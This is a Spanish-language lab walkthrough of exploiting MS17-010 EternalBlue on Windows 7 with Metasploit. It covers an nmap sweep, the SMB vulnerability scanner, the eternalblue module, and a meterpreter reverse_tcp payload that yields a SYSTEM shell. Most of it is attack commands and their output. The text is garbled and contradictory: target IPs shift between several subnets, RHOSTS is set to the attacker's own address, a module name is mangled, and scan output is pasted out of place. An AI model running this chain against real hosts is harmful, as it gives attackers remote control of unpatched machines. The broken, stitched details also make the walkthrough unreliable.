

Explotar MS17-010 EternalBlue en un objetivo Windows 7 en Metasploit

Introducción

MS17-010, conocido públicamente como EternalBlue, es una vulnerabilidad crítica en la implementación del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en sistemas afectados. Metasploit Framework es una potente herramienta de código abierto para desarrollar, probar y ejecutar código de explotación.

En este laboratorio, asumiré el rol de un probador de penetración. Utilizaré Metasploit Framework para identificar primero una máquina Windows 7 vulnerable en la red utilizando un módulo escáner. Luego, configurará y lanzará la explotación EternalBlue contra el objetivo para obtener control remoto completo a través de una sesión de Meterpreter. Esta experiencia práctica demostrará el impacto real de las vulnerabilidades no parcheadas.

Para este laboratorio, hay una máquina Windows 7 vulnerable presente en la red en la dirección IP 192.168.1.101.

Para identificar los dispositivos activos en el segmento de red principal (correspondiente al **Adaptador de Ethernet 6**, que presenta una puerta de enlace predeterminada), se puede utilizar el siguiente comando de barrido de red (*ping sweep*):

```
nmap -sn 192.168.56.0/24
```

```

(kali@kali)-[~]
└─$ nmap -sn 172.26.0.0/22
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-06 04:37 EST
Nmap scan report for 172.26.0.1
Host is up (0.0011s latency).
MAC Address: DC:2C:6E:AE:DC:27 (Routerboard.com)
Nmap scan report for 172.26.0.33
Host is up (0.0012s latency).
MAC Address: 00:E0:4C:3C:80:40 (Realtek Semiconductor)
Nmap scan report for 172.26.0.34
Host is up.
MAC Address: 18:56:80:B3:1A:69 (Intel Corporate)
Nmap scan report for 172.26.0.37
Host is up (0.0012s latency).
MAC Address: 5C:60:BA:B4:DC:20 (HP)
Nmap scan report for 172.26.0.40
Host is up (0.0011s latency).
MAC Address: 48:2A:E3:26:6A:B9 (Wistron InfoComm(Kunshan)Co.)
Nmap scan report for 172.26.0.45
Host is up (0.0015s latency).
MAC Address: 00:E0:4C:36:12:E2 (Realtek Semiconductor)
Nmap scan report for 172.26.0.46
Host is up (0.0011s latency).
MAC Address: 30:24:A9:3C:5D:C5 (HP)
Nmap scan report for 172.26.0.47
Host is up (0.0011s latency).
MAC Address: 70:8B:CD:8C:19:2A (ASUSTek Computer)
Nmap scan report for 172.26.0.53

```

Este comando enviará paquetes para verificar qué equipos están encendidos sin realizar un escaneo profundo de puertos. Si se prefiere realizar un escaneo estándar de los puertos más comunes en esa misma red, el comando es:

```
nmap 172.26.0.0/22
```

Para el **Adaptador de Ethernet 4** (que utiliza una máscara de subred clase C estándar), el comando para listar los equipos conectados es:

```
nmap -sn 192.168.56.0/24
```

Es importante considerar que el uso de la notación CIDR (/22 y /24) permite que Nmap recorra todo el rango de direcciones IP definido por las máscaras de subred especificadas en la configuración (255.255.252.0 y 255.255.255.0 respectivamente). Para ejecutar estos comandos en Windows, es necesario abrir la terminal (CMD o PowerShell) con privilegios de administrador.

```

Host is up (0.0015s latency).
MAC Address: 70:8B:CD:8C:19:2A (ASUSTek Computer)
Nmap scan report for 172.26.0.49
Host is up (0.0014s latency).
MAC Address: 08:00:27:85:92:D2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 172.26.0.53

```

ip Windows 7: 192.168.56.101

ip Kali: 192.168.56.102

Utilizar el escáner auxiliary/scanner/smb/smb_ms17_010 para encontrar objetivos

En este paso, comenzará lanzando la consola de Metasploit y utilizando un módulo escáner especializado para confirmar que nuestro objetivo es vulnerable a MS17-010. Esta es una fase de reconocimiento crucial en cualquier prueba de penetración.

Primero, abra una terminal e inicie la consola de Metasploit Framework ejecutando el comando `msfconsole`. Esto puede tardar un momento en cargarse.

```
msfconsole
```

Una vez que la consola se cargue, verá el prompt de comandos de Metasploit (`msf6 >`). Ahora, utilice el comando `use` para seleccionar el módulo escáner MS17-010.

```
use auxiliary/scanner/smb/smb_ms17_010
```

A continuación, deberá indicar al escáner qué hosts comprobar. Vea las opciones disponibles para este módulo con el comando `show options`.

```
show options
```

Verá una lista de opciones. La opción `RHOSTS` es obligatoria, que especifica el(los) host(s) remoto(s) a escanear. Establécela en la dirección IP de nuestra máquina Windows 7 objetivo.

```
set RHOSTS 192.168.56.102
```

Con el objetivo establecido, ejecute el escáner escribiendo `run`.

```
run
```

Metasploit escaneará ahora el objetivo. Si el host es vulnerable, verá un mensaje de confirmación en la salida.

```
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):



| Name        | Current Setting                                                 | Required | Description                                              |
|-------------|-----------------------------------------------------------------|----------|----------------------------------------------------------|
| CHECK_ARCH  | true                                                            | no       | Check for architecture on vulnerable hosts               |
| CHECK_DOPU  | true                                                            | no       | Check for DOUBLEPULSAR on vulnerable hosts               |
| CHECK_PIPE  | false                                                           | no       | Check for named pipe on vulnerable hosts                 |
| NAMED_PIPES | /usr/share/metasploit-framework/data/wordlists/named_pipe_s.txt | yes      | List of named pipes to check                             |
| RHOSTS      |                                                                 | yes      | The target host(s), see https://docs.metasploit.com/docs |
| RPORT       | 445                                                             | yes      | The SMB service port (TCP)                               |
| SMBDomain   | .                                                               | no       | The Windows domain to use for authentication             |
| SMBPass     | .                                                               | no       | The password for the specified username                  |
| SMBUser     | .                                                               | no       | The username to authenticate as                          |
| THREADS     | 1                                                               | yes      | The number of concurrent threads (max one per host)      |



View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 172.26.0.49
RHOSTS => 172.26.0.49
msf auxiliary(scanner/smb/smb_ms17_010) > run
[*] 172.26.0.49:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested regular expression
[*] 172.26.0.49:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) >
```

```
[+] 192.168.1.101:445 - Host is likely VULNERABLE to MS17-010! (OS:
Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Esta salida confirma que el objetivo en 192.168.1.101 es vulnerable y un buen candidato para nuestra explotación.

Seleccionar el exploit exploit/windows/smb/ms17_010_eternalblue

En este paso, con el objetivo confirmado como vulnerable, seleccionará el módulo de explotación correspondiente en Metasploit. El módulo ms17_010_eternalblue está diseñado para explotar esta vulnerabilidad específica.

Dentro de la consola de Metasploit, utilice de nuevo el comando use, pero esta vez para cargar el módulo de explotación.

```
use exploit/windows/smb/ms17_010_eternalblue
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Tras ejecutar el comando, notará que su prompt de comandos cambia para reflejar el contexto del módulo de explotación recién seleccionado. Esto indica que ahora está trabajando dentro del espacio de configuración para la explotación EternalBlue.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Este módulo contiene el código que se enviará a la máquina objetivo para aprovechar la vulnerabilidad de SMB y permitirle ejecutar comandos adicionales.

Establecer la opción RHOSTS al objetivo vulnerable de Windows 7

En este paso, configurará el módulo de explotación para apuntar a la dirección IP específica de la máquina vulnerable. Mientras que el escáner podía comprobar un rango de IPs, la explotación debe dirigirse a un único objetivo confirmado.

Al igual que con el módulo escáner, puede ver las opciones de configuración para la explotación utilizando el comando show options.

```
show options
```

Verá que este módulo también tiene una opción RHOSTS, que significa "Remote Hosts" (Hosts Remotos). Actualmente está en blanco. Debe establecerla en la dirección IP de su objetivo de Windows 7, que confirmó en el primer paso.

Utilice el comando set para asignar la dirección IP 192.168.1.101 a RHOSTS.

```
set RHOSTS 192.168.56.101
```

Metasploit confirmará el cambio.

```
RHOSTS => 192.168.56.101
```

```
set LHOST 192.168.56.102
```

```
msf exploit(windows/smb/nc17_818_eternalblue) > set RHOSTS 192.26.8.49
RHOSTS => 192.26.8.49
msf exploit(windows/smb/nc17_818_eternalblue) > show options
Module options (exploit/windows/smb/nc17_818_eternalblue):


| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        | 192.26.8.49     | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                                |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |


Payload options (windows/x64/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.26.8.102    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


```

Ahora la explotación sabe exactamente a dónde dirigir el ataque.

Establecer el payload windows/x64/meterpreter/reverse_tcp

En este paso, elegirá un payload. Un payload es el código que se ejecutará en el sistema objetivo después de que la explotación lo comprometa con éxito. Para este laboratorio, utilizará Meterpreter, un payload avanzado y dinámicamente extensible.

El payload windows/x64/meterpreter/reverse_tcp es una excelente opción. Crea una conexión desde la máquina objetivo de vuelta a usted (una shell "inversa"), que a menudo tiene éxito al eludir firewalls. También está diseñado para sistemas Windows de 64 bits.

Utilice el comando set payload para seleccionarlo.

```
set payload windows/x64/meterpreter/reverse_tcp
```

Metasploit confirmará que el payload ha sido establecido.

```
payload => windows/x64/meterpreter/reverse_tcp
```

```
View the full module info with the info, or info -d command.
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp  
payload => windows/x64/meterpreter/reverse_tcp  
msf exploit(windows/smb/ms17_010_eternalblue) > █
```

Aunque Metasploit a menudo selecciona un payload por defecto, establecerlo explícitamente asegura que está utilizando el más adecuado para su objetivo. Puede ejecutar `show options` de nuevo para ver las opciones tanto de la explotación como del payload. Notará nuevas opciones como LHOST (Listening Host - Host de Escucha) y LPORT (Listening Port - Puerto de Escucha), que Metasploit normalmente configura automáticamente a la dirección IP de su máquina.

Ejecutar la explotación y establecer una sesión de Meterpreter

En este paso, con todas las opciones configuradas, lanzará la explotación y tomará el control de la máquina objetivo.

Toda la preparación está hecha. La explotación está seleccionada, el objetivo está establecido y el payload ha sido elegido. Para lanzar el ataque, simplemente use el comando `exploit`.

```
exploit
```

Metasploit intentará explotar la vulnerabilidad en el objetivo. Verá varios mensajes de estado mientras trabaja. Si tiene éxito, la explotación entregará el payload de Meterpreter y verá un mensaje indicando "WIN!" y que se ha abierto una nueva sesión.

```
[*] Started reverse TCP handler on 192.168.1.100:4444 [*]
192.168.1.101:445 - Connecting to target for exploitation. [+]
192.168.1.101:445 - Connection established for exploitation. ...
[+] 192.168.1.101:445 - =====
=====
[+] 192.168.1.101:445 - =====WIN=====
=====
[+] 192.168.1.101:445 - =====
=====
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 ->
192.168.1.101:49157) at 2023-10-27 10:30:00 -0400 meterpreter
>
```

El prompt meterpreter > significa éxito. Ahora tiene una shell remota en la máquina víctima. Para demostrar su control, ejecute el comando `getuid` para ver con qué cuenta de usuario se está ejecutando.

```
getuid
```

La salida debería ser:

```
Server username: NT AUTHORITY\SYSTEM
```

```
[*] Sending stage (203846 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.101:49157) at 2026-02-16 06:31:05 -0500
[+] 192.168.56.101:445 - =====
[+] 192.168.56.101:445 - =====WIN=====
[+] 192.168.56.101:445 - =====
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

NT AUTHORITY\SYSTEM es el nivel más alto de privilegios en un sistema Windows. Ha comprometido con éxito el objetivo. También puede ejecutar `sysinfo` para obtener información del sistema.

```
sysinfo
```

```
Computer           : WIN7-VICTIM OS           : Windows 7 (Build
7601, Service Pack 1).
```



```
Architecture      : x64
System Language   : en_US
Domain            : WORKGROUP

Logged On Users   : 1
Meterpreter       : x64/windows
```

¡Felicitaciones, ha explotado con éxito MS17-010.